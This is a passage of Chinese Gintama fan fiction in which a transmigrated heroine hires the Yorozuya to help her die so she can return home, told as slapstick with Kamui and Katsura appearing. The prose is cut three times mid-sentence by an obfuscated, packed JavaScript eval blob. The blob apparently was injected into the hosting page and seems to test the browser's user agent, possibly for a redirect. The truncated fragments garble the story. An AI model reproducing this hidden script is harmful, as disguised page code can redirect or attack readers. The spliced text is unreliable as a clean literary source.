再看看对面的狗头人身和青蛙头的天人,我啼笑皆非地捂脸,摇摇头迈步。 “啊 ——银桑,前面是红灯啊——” 刚走到路中心,便听到有人在尖叫,我还沉浸在跳楼的话要不要选个没路人的地点。下一瞬,剧烈的撞击袭来,我脑海空白一片,眼前掠过晴朗无云的天空,还有三团奇怪的东西,随即陷入一片黑暗。 “喂,振作啊,你要是死了我们就是现行犯了!不可能的,早上结野主播才说了今天是阿银这一年最幸运的一天,绝对有好事发生的!” “别说了,银桑,今天到现在为止都没有一件好事啊!” 意识回笼的时候,身体各处都在痛,但我整个人却非常僵硬,一根手指头都动不了。眼帘沉重地闭着,我能感到自己半靠着什么东西,有人粗鲁地抓着我的肩膀使劲摇晃着我,长发几乎覆在脸上,原本就不清醒的脑子被摇得更混了。 “银桑,不要再摇了,她就算是没事也要被你摇出脑震荡了!”一道清亮的嗓音在我耳边咋胡着道,我无端地觉得有一丝熟悉。 可是这位小哥,你能不能不要光是说,你倒是阻止一下他啊! “银酱,血迹不多,可能只是晕过去了啊鲁。总之,我们先把她搬到那边的垃圾桶里,再装作没事地盖上盖子啊鲁……”可爱的女嗓说着恐怖的话。 “混蛋,怎么可能啊……垃圾桶也太过分了……”最初的那个嗓音气急败坏地训道。 “就是啊,这个时候不是要叫救护车吗?不是喊破喉咙的那种叫啊……” “得运去海边丢下去才一劳永逸啊!”越说越虚的声音。 “what,你还想毁尸灭迹?银桑你已经堕落到犯罪的地步了吗?明明只要叫个救护车就好了啊……” “闭嘴,眼镜你先去找时光机啊!” “够了!”越听越怒的我猛地张开眼,一头撞上靠得最近的那个人的额头,伸手抓着他的衣襟,气势汹涌地吼道,“你要不就直接撞死我啊,这样不上不下想干什么啊!” 场面忽然安静下来,我眯起眼,透过覆面的发丝看清眼前三人的样子。 那一头银发,橘色团子头,还有眼镜……不就是吉原的救世主们嘛……他们怎么一副‘要死了’的世界末日表情? “诈……诈尸了吗?”坂田银时抽了抽嘴角,整个人快要灵魂出窍般,脸都青了。 “银酱,你先照顾着伤员,我去叫救护车啊鲁。”神乐蹦起来就想跑,却被眼疾手快的坂田银时一手抓着。 “开什么玩笑,要不是你们死活不肯走路,阿银怎么会超载?出了事就想跑?就是死也要你们陪葬啊!” “这个时候你不是应该担起大人的责任吗?我们还没成年……”先走一步被神乐一把抓住的新八气急地吼道,“啊不对,我们不是应该叫救护车吗?” 我捂脸无力看这一场闹剧,忍无可忍地一拳揍在那个银色天然卷头上,“给我看清楚,老娘还没死啊!你妈妈没告诉你撞到别人要先说对不起啊!” “对不起!”万事屋三人,惊恐脸。 半刻后,三个头顶着大包的人猛虎落地般伏跪在我面前,天花乱坠地答应只要我不追究这桩交通事故的责任他们万事屋任我差遣。 我把玩着地上散落的三顶奇奇怪怪的假发,看了眼手机弹出来的突发新闻。啧啧啧,这明显的线索,看来他们是刚做了件大案子啊。 轻咳两下,我把大江户交通条例及肇事者责任给他们科普一遍后,顺便云淡风轻地提了下刚刚理发店的新闻。 原本就不敢抬头的三人更是把他们空空的脑袋贴到了地上,没有一丝抬头看我的勇气。 我抱手俯视着他们,忽然想起日轮那句万事屋是给钱什么活都干,而且结果都能勉强符合要求。 蓦地以拳击掌,我有了个绝佳的主意。 “呐,你们是万事屋吧,那么……只要你们能完成我的委托,我就原谅你们,不但不会去报案,还会给你们一大笔报酬。”反正只要顺利回去,这里的钱我也用不上,便宜他们也未尝不可。 “诶?真的吗?”三人齐齐抬头看我,看清我样子后,顿时一愣。 “啊嘞,阿萤小姐/阿萤姐?”新八和神乐原本心虚又紧张的表情一松。 “想也别想,就算认识也不能抹杀你们撞我的事。我可不是会对熟人手软的女人,所以,委托,接么?”我挑眉,毫不留情地打破他们的窃喜。 “完全没有问题,堵上万事屋的名声,无论是找小猫咪还是找被盗走的内衣,你的委托阿银绝对会完成!”坂田银时愣了一下后便拍着胸口自信满满地道。 “阿萤姐,你想干什么啊鲁?是要找个钱多人傻的冤大头还是找身娇体软的小猫咪?”神乐双眼亮晶晶地问。 “我要去死。”我正经脸。 …… “啊嘞?” 情景转换,甜品店内。 我好整以暇地吃了勺冰凉的草莓芭菲,那又甜又爽的滋味迅速平复我燥动的脾气。看也不看对面三人纠结的样子,我任由他们旁若无人地‘小声’商量。 “怎么办啊,真的要答应她吗?这可是杀人的事啊……”新八偷偷看了我两眼,又别过脸。 “可是不接的话,她就要举报我们了……我不要坐牢啊鲁。”神乐全身都在抗拒。 “那也没办法啊,谁知道她竟然从那些假发联想到我们做了坏事,又刚好看到新闻上理发店的事……虽然不知道为什么理发店会上新闻,但如果被人知道我们对将军大人做了那些过分的事……不要说坐牢,我们会马上被砍头的啊!”坂田银时想起之前将军被他们糟蹋成什么样子就无法克制地狂揉着自己乱糟糟的头发。 “可是,阿萤小姐说的也很恐怖啊,让我们帮她去死什么的。”新八今天所有的勇气都用在给将军做发型上了,现在对这个委托简直是无法接受。 “别,别慌,也许就是有钱人的野望而已。就像那个,有钱又有闲的女人为了寻求刺激去找小鲜肉一样,但是尝过了也就觉得男人都是差不多,关了灯靠的都是OO而不是胸肌之类的。反正她试过死就知道这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你根本就不懂。”我就是为了让人生更长久才需要死一死。 我叹口气,不知道该怎么解释现在的我已认定只有挂掉才能回到我自己的世界。要不是寻死需要勇气和冲动,而我经过那一场逃命已经失去了最初的意气,我也不想要为难其他人。 在我非常严肃的视线中,坂田银时三下五除二地把自己的刨冰吃完,星星眼拿过巧克力芭菲,瞥了我一眼,又烦躁地揉了揉自己的乱发,认命地叹口气。 “喂,你是不是有什么解决不了的事?”坂田银时撑着腮,眼珠子瞟了我一眼,又镇定地移开,口吻漫不经心地道,“别看我们这样哦,万事屋可是很厉害的,要是有什么困难……” “不用,我只想离开这个世界。”在各种意义上的离开。我能理解他的意思,但他却无法知道我的想法。 “算了,如果你们做不到,那我就去找别人。” 反正我现在有钱,我查过这个世界有天人杀手,忍者杀手,雇佣兵什么的也不是很贵。盘算着找人无声无息地杀掉自己这种事听起来比他们还要靠谱,我站起来摆摆手便打算离开。 “有点耐性啊客人,”坂田银时忽然咬着芭菲的勺子,含糊不清地道,“这个委托,我们接了。” “诶?银桑,可以吗?”新八意外地看着他,神乐的神情没有意外,只是探究般看着我。 “我们是万事屋啊,哪有把找上门的委托推出去的?”心满意足地吃下最后一口芭菲,坂田银时拿勺子指着我,死鱼眼看过来,“等着吧,无论是地狱还是天堂还是什么地方,我们都把你送过去。” 新八一脸无奈地拍他一记,“不要说这么恐怖的话啊,真要说的话,也是……呃,我们会完成阿萤小姐的委托的。诶,这样说也不对,啊嘞,好像有什么东西从开始就不对啊!” 尽管不知道他在打什么主意,但我还是由衷地感谢,听到这种委托后还能冷静地骗钱的人真的并不多了。至少,在我找到最佳死法之前,有他们帮忙筛选一下不靠谱的死法也是有点意义的……吧。 “那就……拜托你们了。”我偏头,露出一个灿烂的笑容。 新八悄悄地凑近银时耳边,“银桑,真的可以吗?” 坂田银时在我的目光中毫不在意地挖了挖耳朵,“没什么不可以的,我们是万事屋啊。再说,如果不接,她告不告发我们另说,让她真的去寻死不是更麻烦?我们接下来,然后随便糊弄一下,收到钱之后再算。” 喂喂,你们这种阴谋能不能不要说得那么大声和理直气壮啊。我翻了个白眼,懒得计较。 反正……大家各取所需就是了。 5. 排除法 “绕了我吧……为什么非要穿上这种热死人的衣服不可啊……” 坂田银时埋怨的话从第一个台阶开始一直啰啰嗦嗦,我喘了口气,抬眼看了看好不容易爬到尽头的楼梯,忍了一路还是忍不住踹他一脚。 “少在那啰里啰嗦的,谁才是最倒霉的那个,我要撤销委托啊混蛋!” 他倒退了好几步才稳住身形,一个弓步指控地道,“搞什么鬼啊,阿银可是好不容易才爬上来的,再来一次我可不干。” “所以我说,我为什么要跟你们一起爬上来啊?”我怒的重点他到底有没有抓到? 我以手扇风,看了眼他们三人穿得严严密密的工作服,有点不忿。 “你们居然接了其他委托就算了,为什么要拉着我一起来干活?最大的问题是,为什么我没有这种工作服?” “这种让内裤都黏在屁股上的东西你那么想穿吗?穿着这个连哪部分是屁股哪部分是内裤都分不清了。”坂田银时一脸嫌弃。 “阿萤姐你不是想死吗?我们今天顺手接的委托就是去除那些被咬一口就会死的蜂哦,你要是穿了的话怎么被咬死啊鲁?”神乐回头随意地道。 “为什么要这样死啊?我就不能随便跳个楼撞个车之类的吗?”我不需要这种奇奇怪怪的死法,果然,相信他们是我最大的错。 “别开玩笑了,那种正常的死法怎么配得上我们万事屋的委托人?阿银一定让你死得轰轰烈烈。”坂田银时想挖鼻,但带着面罩阻碍了他发挥。 他顿了一下便把手覆在我头上,擦了擦弄脏的手套。 我想也不想地曲肘给他一记,直接把人揍倒,整个人沿着楼梯往下滚,连防护帽都摔掉了。 没人跟他说过女人前一晚洗过的头发是不能碰的吗? 我吹了吹拳头,哼,我死不死无所谓了,但他……just go die! “银桑,阿萤小姐,别闹了……”新八有气无力地看着我们,热出了一头汗又擦不了的样子看起来很狼狈。 我看了眼自己穿着的白底牵牛花纹的浴衣,莫名地觉得舒服。抬头便看到树杈之间那个巨大的蜂巢,我指了指,“呐,神乐,你说的是这个吗?” 神乐以手遮额看了看,兴奋地道,“对,就是这个,小公园的小屁孩说树林最近多了很多这种蜂巢,被刺到就会死翘翘了。” 我记得他们就是顺手接了街道管理处的委托,原本还觉得没什么,只是现在看到那些蜂巢,我忽然不想这样死了。 “不,我觉得我还是正常点去死就行,我就不打扰你们工作……”话没说完,一堆路边就野花就这样劈头盖脸地撒过来,我和新八两人被砸得脸庞生痛。新八更可怜,野花中混了几颗石头,把他防护帽都砸掉。 “就是现在!神乐!”坂田银时的头从楼梯边的树林里冒出来,朝这边大吼。 话音一落,神乐猛地跳起,一脚踹在那个蜂巢上,“看我的啊鲁!” 我和新八两人顶着一头的花,抱着一堆不知名的野花,表情瞬间阴影。 “你们这两个混蛋——” “为什么我也在这边啊?” 蜂巢应声而裂开,密密麻麻的马蜂看得我密集恐惧症都要犯了。 被,被刺一下就会死……这种死法虽然挫了些,但好歹是快狠准…… 那些马蜂开始集队,仿佛在选择目标般。 刺一下而已……应该不会很痛…… 马蜂集结完毕,整队向我们而来。 刺一下而已……但很可能尸体会变成猪头啊—— “不,我还是不要这样!”心理建设失败,我和新八高度同频地把怀中的花全部砸向那两个混蛋,转身就往山下跑去。 被砸了一头一脸的两人气愤地指着我们背影怒骂,我抽空回头看了一眼。 “哇,你们不要跟过来啊!” 卧槽,那两人成为了马蜂的新目标,现在正朝着我们跑过来。我和新八对望一眼,死命往吓跑。 “不是装死尸就行了吗?银桑,你们赶紧躺下啊!”良心未泯的新八回过头朝他们喊道。 “你们怎么不装啊混蛋!”神乐此刻已经没有什么理智,一脚踩在银时头上,借着那力度跳了下来,“银酱,这里就交给你了啊鲁!” 正在狂奔的人被这样一踩,整个人以狗吃哔的姿势砸在楼梯上。 “干得好!神乐~”我一点都不同情他,跟新八两人继续死命往下跑去。 “啊——你们……给阿银等着……” 惨叫后虚弱的声音很快被我们抛在身后,我回头看了眼,发现还有不少马蜂跟在我们身后,脑中飞快回想曾听过的办法,“对了,躲进水里就可以了,河边!” “那边!”新八一把拉过我和神乐,往河边的方向跑去。 跑了一段路,终于看到那条在阳光下闪闪发亮的河流。我们眼神一亮,跑得更快,身后跟着一群密密麻麻的蜂群。 好不容易跳下河堤边的楼梯,神乐不小心崴了一下脚,步伐一乱。我下意识回头,蜂群已近在眼前。咬了咬牙,我伸手抓着她的衣服,拽着她以我从来没有过的力气猛地往河里跳去。 这条河比我想象中深,还好我水性不错,直接扣着两个孩子往堤边划去。等我们快没气破水而出的时候,天空一片清朗,已没有马蜂的影子了。 “成功了!阿萤姐太靠谱了!”神乐咧出大大的笑容,跟新八爬上岸后朝我伸手。 急促的心跳已回复正常,想起方才仓惶逃生的样子,我蓦地笑了起来。看吧,人在绝境的时候真的会本能地想要活下去啊…… 果然,找人帮忙是对的。只是……找的人不太靠谱而已。 我笑着抬头,少年少女洋溢着劫后余生笑容,让人太有希望了,不适合我这种求die的人。 伸出手,还没碰到他们的手,一个暗影突兀地蹦在他们之间。没等我反应过来,一只白色靴子重重地踩在我的脸庞上,用力之大直接把我踩进了水里。 最后一眼看到的,是那头银色卷发下面目全非的蠢样,眉眼都狰狞地纠结在一起,眸中泛着复仇的红光——坂田银时那混蛋居然踩我的脸啊!! 憋着一口气,我潜在水里头,不太清晰地看着他回头不知道对那两个被他举动吓到激动地骂他的孩子说了啥,新八转头就不见了。 然后,大概是我太久没冒头,某个行凶的混蛋终于良心发现,探出头来找人。 就是此刻! 我狠狠地伸出手,两指直接插进他鼻孔,一个用劲把他整个人甩进水里! “银酱——”神乐目瞪口呆地看着他干脆地垂直入水。 “啊!不行,阿银不会游泳啊!啊啊啊!鼻子要进水了!”扑腾得十分有劲的坂田银时死命地往这边来。 “滚开!你要把我拉下去了!”被扣住腰腿的我死命地踹开他,没两脚他就吐出一串泡泡沉了下去。 “没问题的吗?银酱沉下去了啊鲁。”神乐巴眨着蓝眸,蹲在岸边。 “啊,他死不了的。”我懒懒地安慰她。 这么容易就挂掉的话,他早去地狱了。 神乐附议,朝我伸手。 我握着她的手时才发现原本白底的轻薄浴衣湿掉后变得薄如蝉翼,不但手臂的线条尽显,刚爬出水的胸前甚至能看到内衣的颜色。还好刚才没上岸 ,不然新八要喷鼻血了。 我默默地沉回水里,叹口气。刚想问神乐有没有其他衣服,便看到新八抱着一件外套急匆匆地跑回来。 半响后,我裹着长到我膝盖的外套,与神乐两人一起坐在楼梯上发呆。 “银酱……浮起来了。”神乐指了指河面上漂浮着的人,淡淡地道。 我和新八啊了一声,摸摸她的头,“看吧,他死不了的。” 尽管已经知道外套是他让新八去找的,也猜测他是报复中带了一丝好意,但我还是觉得他可以选择柔和些的办法,而不是直接把我踩进水里。 所以,我一点也不可怜他! 新八忽然噗嗤一下笑了,“阿萤小姐以前是认识银桑的吧?总感觉你们认识很久的样子。” “昂?”我拧着长发上的水,怔了一下。 说起来,我对他还真是没什么陌生人的社交礼仪……但这不是因为他踩雷和欠揍的本事太恐怖了吗?他好像也没对我很礼貌好吧! 而且,我能说我曾在论坛上搜过广大粉丝对他的分析么?别说坂田银时这个人,就是他的生平和结局我都大概知道,只是不太记得具体而已。 当然,神威那隐藏的终极妹控也不例外。 我复杂地看了眼单纯地等着我回答的两人,不想跟他们说其实他们的分析我也看过,只是看太快记忆不太深刻,谁叫我查的时候还没认识他们? 我作弊了,所以才能那么信任他们。那他们呢?天生平易近人? “我们怎么可能认识啊……才见过几面而已。” 真要说的话,只能是他太会撩了,动不动就把我的火气和暴力因子都撩起来。 这也是魅力点吧?我不太确定。 至于这个身体本身跟主角认不认识?那应该是不认识。 我在离开前就把月见萤的生平都搞清楚了,不到六岁就被卖进吉原能有什么机会认识那些主角?卖进吉原后近二十年一直被培训各种技能,到我来到这个世界都没出过吉原。 “呵呵……”阴恻恻的低笑声传来,我们三人浑身一僵,慢动作地抬头,那个湿漉漉的身影缓缓从河堤边爬出来。 银发上顶着一团水草,塌下来的刘海挡住了所有表情,唯有一双红眸发射出骇人的光,“你们三个……都给老子去死一死啊!” “呜哇——”我们猛地转身就逃,神乐和新八这次非常有义气地抓着我的手没让已经快累瘫的我落入某人复仇的魔掌。 我跑得上气不接下气,忽然觉得要做到坦然地挂掉……真的好难啊! 在坂田银时带着复仇之火终于认真地想办法让我去死之后,万事屋提供了不少点子都被现实和我打败了,具体过程太无语……先略。最后,我们选了一个最简单的方法。 站在路边,我看了眼飞驰而过的车辆,不太确定地看向身后的万事屋三人。 “呐,这真的可以吗?”尽管我是有提议过撞个车什么的,但站到路边我还是有点害怕。 “别担心,这可是阿银精心挑选过的地方。这个死角位,这个车速,你只管听口令跳出去就行,绝对能让你去地狱啊混蛋!”坂田银时露出一个阴险的笑容,非常肯定地道。 “然后我们还可以讹一笔赔偿金啊鲁~对吧,银酱~”神乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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没有预想的痛,我颤巍巍地睁开眼,三张无语的脸孔+三双死鱼眼。 万事屋三人七嘴八舌地讨伐我跳得太慢的行为,我被说得怒了,直接站到路中间,闭起眼。 “这样总可以了吧,反正是死角位。”隐约听到车的声音,我坦然地等着,想了想,朝他们笑道,“虽然不靠谱,但也谢谢你们了,再见。” 车轮转动的声音越发地近,我默默地等着那一刹那,可以回到我正常生活的那一刻。 引擎的声响开始清晰,我噎了噎口水,开始有点紧张。 面前的空气有流动压迫感,我手在轻颤,身体自然反应起来。 蓦地,腰间一紧,我整个人被抱起。瞬间睁开眼,那一抹银白色划过眼帘,随后是新八慌乱的表情。 “不行,不行,实在不行,这样看着委托人出意外什么的,良心太谴责了!世界还是很美好的,阿萤小姐你再考虑一下吧。”新八一脸崩溃地喊道,双手托着我的肩背。 “啊不行!还是没办法眼睁睁看着那你犯蠢到这种地步啊!”跟新八一起把我整个人抬起来跳到另一边的坂田银时挫败地叫道。 莫名其妙地,我很想爆笑一顿。想起那些喜欢他们的人对他们的评价和分析,我有点愧疚。 让以守护为宗旨的他们帮忙结束我生命什么的,好像……是有点为难他们了。 夕阳铺满整个天空,给全江户染上一层温暖的色彩。忙活了整天,什么进展都没有,我们四人累瘫般坐在路边,四双无神的死鱼眼看着车辆呼啸而过。 “银酱,我没想过原来挂掉也这么难……”神乐喃着以前只听过活着很难,没想到有人想死也这么麻烦。 “啊哈……”坂田银时抽了抽嘴角,不知道该说什么的样子。 “阿萤小姐,你要不把困难跟我们说吧,你还这么年轻,还有很多未来才对呢。”新八偏头看了眼发呆的我,建议道。 我叹口气,不知道该怎么说。老实说吧,经历了这一天,我都在怀疑到底那场考试是虚假,还是这个世界。 拿出怀中准备好的信封,我站在坂田银时身前,递给他,“算了,不为难你们了。这是酬劳,拿着吧。” 坐在路边的他双手搭在膝盖上,没有接过,只是抬眸看着我,“少瞧不起我们万事屋了,我们可没有拿了钱不干事的习惯。” “我们有这种好习惯吗?”新八不太确定地凑近神乐小声地问道。 神乐死鱼眼别开脸,一副不想反驳但又不忍看自家店长选择性遗忘自己德行的样子。 我笑了笑,伸手鼓励般揉了揉他那头乱翘的发,意外的软柔,完全不是想象中那种铁丝的触感,“行了,谁说你们不干事?你们不是帮我试了好多去三途川的失败办法吗?排除法也是帮助啊。” 那副垂头丧气的样子真让人看不顺眼,我最拒绝不了可怜的大狗,就当日行一善了。反正,我现在挺有钱的。 他明显一顿,没有拍开我的手,只是偏过头,没精打采地抬眸道,“喂喂,你以为阿银还是小孩子吗?这副老妈子的样子再早十五六年也很碍眼啊……” “啊啦,我在夸你哦,不是说男人至死都是少年么?”我收回手,把信封丢给他,“就这样吧,再见了,万事屋。” 忙活一整天啥都没有,但现在回想起来却只觉得挺欢乐的,我转身摆摆手,把这些奇怪但意外好玩的主角抛在身后。 果然,人最后还是得靠自己啊,无论是活着也好,去死也好。 6. 风流债 找死就跟找工作一样,不能全部时间都花在上头,不然,人会变态的。 看着这个玄幻的世界,抱着来都来了的传统想法,我顺应时代地报了个宇宙一周游,对外太空的设定各种感叹后更坚定了我回归到普通世界的决心。 MD,这种天人满大街的可怕宇宙太让人无语了,我还是适合平凡人的世界。更何况现在的地球,江户这个地方正处于一个非常黑暗的历史时期,大环境看起来就不是我这种成长于和平年代的孩子能活到终老的。在目睹几次□□随街杀人而路过的人都是视而不见后,我更不想要留下。 打听了一些黑市的雇佣兵行情,我拖着疲惫的心灵和饿坏了的身躯走进一家口碑不错的拉面店。 这里的老板娘是个美人,态度还非常和蔼,每次来让我感到如沐春风。 “啊啦,阿萤,好久不见了呢~还是照旧?”一周多没见的老板娘几松笑意盈盈,看到我很是高兴。 作为难得聊得来的熟客,我直接点点头便窝到一边的卡座,今天太累了不适合坐到料理台那边聊天。 扒拉两口拉面,口感和味道都让人惊艳,我瞬间感觉自己又活过来了——虽然人生目标是go die来着。 “这位姐姐,拉面来十碗谢谢~” 在我埋头苦吃之际,少年爽朗愉悦的嗓音就这样传了过来,那熟悉的腔调让我浑身一震。 “真是的,为什么我们绕了几圈又来地球啊……再不回去那群老人家又要哔哔了。”搔着一头乱发的青年跟着少年走进来,坐在料理台那边,没好气地道。 “因为地球的饭太好吃了~”随手把斗篷放在一边,少年轻甩橘色的长辫子,笑眯眯地双手捧颊,等着他的拉面。 我一个用力咬断了口中的面条,不敢细看,那种恐惧让我刚被拉面温暖的身躯再次冰冷。低着头,我在拉面汤中看到自己骇然苍白的脸。 “嗯~果然不错哦~”神威咕噜噜地嗦面,头也不抬地赞了一句,“虽然我还是觉得米饭比较好吃,但这个吃起来也挺不错~” 阿伏兔仿佛觉察到什么般看过来,我仓促收回视线,庆幸放来懒得解开绳子没拿下斗笠。匆忙放下拉面钱,趁着那边还在讨论到底地球的米饭好吃还是拉面好吃,我缩起身子从卡座的另一边钻过去。 太过专注那边的动静,我完全没留意卡座后面的人,脚下一绊我整个人砸在桌子上,桌面的荞麦面也被我打翻了。 我惊骇地抬头,面前蓦地出现一块白板,我愣愣地看着白板,一时间反应不过来。白板慢慢退后,我眨了眨眼,看清上面的字,视线从那几个字移到那个奇怪得像Q太郎一样的生物身上。 “那个……”一道清朗的嗓音从边上迟疑地传来,我扭过头,才发现隔壁坐了一个传统日式男子,那一头柔顺的黑发比我还要亮泽。男子偏头,看清我样子时脸色微讶,表情有点奇怪,“你是……” 眼尖地瞄到神威他们也看过来,我慌忙抓着白板挡着我的脸,求救般对男子竖起食指示意闭嘴。 【桂先生,这位小姐是在躲他们吗?】谜样生物把白板反转,上头写满了字。 我瞪着那白板,好奇它什么时候写的字。 被称为桂先生的男子看了眼那边的神威两人,凑过来低声问道,“他们有什么问题吗?应该不是幕府的走狗啊?” “其实,那个散发的男人是我的狂热追求者,带着孩子来堵我的。但我个人婚恋观比较传统,不接受带娃二婚的,他对我又太入迷……所以……”我一本正经地低声道,对着桂那张难以置信的面容严肃地点点头。 “太……太过分了!”桂忽然脸色一正,高声义正言辞地朝我道,“你又去骗那些单纯无知的男人了吗?” 我被他的音量吓了一跳,一时间也没听清楚他说什么,连忙伸手捂着他的嘴,“闭嘴!” 【桂先生,冷静!】谜样生物举着牌子帮忙按着他。托它身形的福,它把我们两人的身影挡得严严实实,那边的人丝毫不在意这边的混乱般继续干面。 “开什么玩笑,不是说了我是被追求的那个吗?”从他的眼神看出他的意思,我怒指自己的脸,“看清楚,我这张脸需要骗男人吗?” 之前的月见萤可是吉原的游女,专门骗男人钱,长相身材是没话说的。我每次看镜子里的自己都觉得是上天的恩赐,不施脂粉已经是勾勾手指就能拐到男人的类型,何须去骗? “不对,现在不是这个问题!”我抓回重点,揪着他的衣襟摇了摇,“反正我不能被他们看到啊……” “所以说,风流债不要惹太多啊……”桂一本正经地劝道。 “你脑子里头是装草的吗?听人话啊混蛋!”这么危急的时候,我真的不想跟他纠结这个问题,我只想不引起注意地离开。 【这位小姐,我们掩护你离开吧。】谜样生物旋过牌子。 我真的很好奇它什么时候写字的啊……啊不,为什么看着正常的人听不懂人话,一个明显不是正常人的东西反而这么配合啊? 我感激地看了它一眼。 下一刻,只见这个谜样生物勇猛无比地揪起桂的衣襟,干脆利落地把他甩向那边狂嗦拉面的两人。 【去吧,桂先生!】 “伊丽莎白……”桂连话都没说完就被甩出去了,一头砸在阿伏兔旁边的料理台。 我目瞪口呆地看着眼前的混乱,那位伊丽莎白摆出非常帅气的姿势抽了口不知道从哪里冒出来的烟,还举着牌子朝我点点头。 【回见了,伙伴。】 老实说,我真不知道此刻应该用什么表情回应它,但总之,我知道此刻应该做什么。我一个跃起,在那边乒铃乓啷的混乱还没终结时飞快地窜出了拉面店。 这个世界实在太深奥了啊! 拐进小巷里头跑了好一段,我才喘着气停下来,回头看着无人的安静小巷。 “吓死了,差点以为又要看到天花板……”靠在墙上,我抹了把汗。 “哦?什么样的天花板?”好奇的嗓音从我头上传来。 “就是吉原那……”我猛地抬头,对上那张笑眯眯的脸蛋,“神威?” 披着斗篷的少年蹲在墙头,笑容可掬地朝我扬了扬手,“哟,重启键小姐~” 踉跄着退后两步,我跌坐在地上,那种被砍成两半的恐惧瞬间充斥着整个身体,力气仿佛全部被抽离。 要,要死了吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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脆弱的拖把应声而断,我抓住那刹那间的机会俯身,极快地扫腿把毫无防备的他绊倒。断裂的拖把在我手中狠狠地划下,神威意外的表情在我眼前一闪而过,拖把直接砸在他那张俊俏的脸蛋上。 毫无胜算的战场我绝不留恋,脱手便是一脚踹飞,随即转身就跑。巷子的尽头是公路,再对开便是在阳光下闪闪发亮的河面……非常适合我。 尽管会游泳,但最近下过雨,河流水流急,会丧命也不一定。再不济,逃命也可行。与其被神威杀掉再一次回到凤仙被干掉的那个时间点,我宁愿拼一拼。 一脚踩上护栏,我用力跃起,回头的顷刻仿佛看到神威站在巷子里头笑着看过来。我咧开笑容,朝他比了个中指。 “哇——那边那个赶快躲开啊——” 跃至最高点的半空那一瞬间,一道咋呼又有点耳熟的嗓音气急败坏地从另一边乱入,我下意识回头,眼前满是黑色的车轮,下一秒便砸在我脸上。 “啊——” “嘭——” 尖叫过后,是巨大的爆炸声,入水的前一刻,我感到整个人被抓进一副温热的胸膛,然后火焰和河水席卷了一切。 7. 自来熟 我摸了摸脸上还没散的车胎印子,无语至极地坐在病床上,看着隔壁床的人叹了口气,想杀他的想法都不忍心生出了。 这都是些什么奇奇怪怪的遭遇啊混蛋,话说回来,坂田银时这人的人品也太差劲了吧。 “混蛋,这句话阿银来说才对啊!”额头上扎着绷带,一头银色卷发炸成了爆炸头,双手和双腿都被绷带裹得严严实实的坂田银时炸毛地朝我吼过来。 啊,我把感叹也说出口了吗? “坂田先生,这已经是你这个月第二次入院了……你真那么喜欢这里的话可以来应聘,不需要这样糟蹋自己身体的。”脸上有道疤痕的医生单手插兜,笑着放下他的病例。 “医生,阿银对这里一点好感都没有啊……这里只有凶巴巴的护士长和胸一点也不大的飞机场护士……”坂田银时话没说完就被旁边的小护士微笑着扎了一管手臂粗的针管,顿时老实下来。 他的遭遇让我一阵菊紧,见医生转头看过来,我朝他露出最和善的笑容,非常乖巧地跪坐好。 小护士十分满意我的态度,和蔼地帮我拔下打完点滴的针管,那带笑的眉眼没有一丝杀气。 “月见小姐,你没什么大碍了,观察一下没问题可以出院了。”医生说完,便带着笑容可掬的小护士离开。 “好的,谢谢医生。”我一个鞠躬送别他们,随手拿过隔壁床的托盘,吃了两口上头的菜,入口的味道居然还不错。 拉面才吃了一半,一整天下来我都快饿死了,虽然本来就想die来着。 “所以我说,为什么你会忽然蹦出来啊?而且为什么最后重伤的是阿银而不是你这个一心求die的混蛋啊!”坂田银时以没吊着的手怒指。 我咬着筷子,不知道怎么解释。 神威他要是知道我差点就干掉了他看好的武士,估计会直接杀过来让我回到那个天花板的时间点吧。 “喂,发什么呆,这个时候再演脑子受伤就太假了……啊!你吃了阿银的病号餐!”大概是我的思考时间长了点,这个没耐性的家伙更怒了。 “容我提醒你,这是我付钱的。”我把最后一口饭吃掉,抹了抹嘴才回道,“还有,是谁开个电动车能开到天空上啊混蛋,我还没投诉你危险驾驶啊!你这种行为是要被吊销执照并且追究全部责任,赔偿我所有损失的!” 我知道这个世界离谱,但没想到能这么离谱……不对,听医生那句话,是这个人比较离谱……现在搞笑番男主都这么多灾多难的吗? 不知道为什么,我一点也不同情他。 因为坂田银时钱包太空,医药费和住院费都是我付的。此刻被我一噎,他脸色白了又青,被绷带包得像萝卜的手指着我颤抖,说不出话来。 “我就知道那个江户通缉犯修理的东西肯定没好货!”好半响,他才捂着脸挫败地低咒。 “该不会是你没给钱人家故意整你吧?”我边打了个嗝边猜,隔壁床的人顿时就陷入一片阴影里头了。 啊……好像猜中了。 果然,搞笑番男主都没有财运并且抠门吗?虽然说有便宜不占是白痴,但涉及安全问题的还是多留个心眼比较好吧。 我日行一善地告诫他,结果他给我一个白眼,然后继续垂头抑郁,念叨着他的车子本来只是轮胎坏了,现在可是全部被肢解什么的。 车没了,人伤了,饭也被吃了,反正听起来很惨就是了。受不了……那不时瞥过来的眼神比他家那头大狗讨吃的时候还要狗。 “啊啊,好了,别装emo了,我去给你买个面包可以了吧。”受不了一个大男人那副垂死的样子,我投降般让步。反正餐我是吃了,吐出来也太不雅。 “一个包怎么够啊?阿银这样,至少要一个星期份的草莓蛋糕才……”红眸瞬间恢复元气,理不直气也壮的坂田银时想也不想地嚷道。 包得圆润的手再次指过来,这种勒索行为被我一掌拍断。 “请珍惜一下我难得的善意哦,坂田先生。”无视他抱着手嗷嗷叫的蠢样,我下床打算去买个面包敷衍他。 “银时?”忽然,门口传来一个熟悉的嗓音。 我们探头看过去,只见额头包着绷带的桂迈进半开着门的病房,跟在他身后的是那个名为伊丽莎白的谜样生物。 “假发?你怎么会在这里?”坂田银时翻着死鱼眼吃惊地问道。 “不是假发,是桂。”桂摸了摸额头,眼神有点恍惚,“在拉面店跟客人撞到一起了,头有点疼。” 我的良心有点疼……捂脸,我默默地惭悔。 